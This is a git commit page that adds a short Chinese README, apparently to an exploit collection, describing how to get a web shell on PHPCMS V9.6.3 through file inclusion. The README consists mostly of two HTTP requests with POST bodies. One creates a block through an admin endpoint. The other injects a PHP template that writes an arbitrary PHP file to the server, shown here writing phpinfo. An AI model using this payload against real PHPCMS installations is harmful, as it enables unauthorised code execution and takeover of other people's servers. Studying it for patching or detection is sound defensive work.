add phpcms 利用文件包含创建任意文件getshell
This commit is contained in:
parent
b9ae455d15
commit
8292471328
22
CMS/PHPcms/PHPCMS V9.6.3/README.md
Normal file
22
CMS/PHPcms/PHPCMS V9.6.3/README.md
Normal file
@ -0,0 +1,22 @@
|
||||
|
||||
|
||||
> 利用文件包含创建任意文件getshell
|
||||
|
||||
|
||||
## 利用过程
|
||||
1. 创建表
|
||||
```http request
|
||||
http://www.test.com/index.php?m=block&c=block_admin&pc_hash=123456&a=add&pos=1
|
||||
|
||||
post 数据
|
||||
dosubmit=1&name=test&type=2
|
||||
```
|
||||
|
||||
2. 写入phpinfo
|
||||
```http request
|
||||
http://www.test.com/index.php?m=block&c=block_admin&a=public_view&id=4
|
||||
|
||||
post 数据
|
||||
template=<?php file_put_contents("phpinfo.php","<?php phpinfo();?>");
|
||||
```
|
||||

|
||||
BIN
CMS/PHPcms/PHPCMS V9.6.3/images/phpinfo.png
Normal file
BIN
CMS/PHPcms/PHPCMS V9.6.3/images/phpinfo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 74 KiB |
Loading…
x
Reference in New Issue
Block a user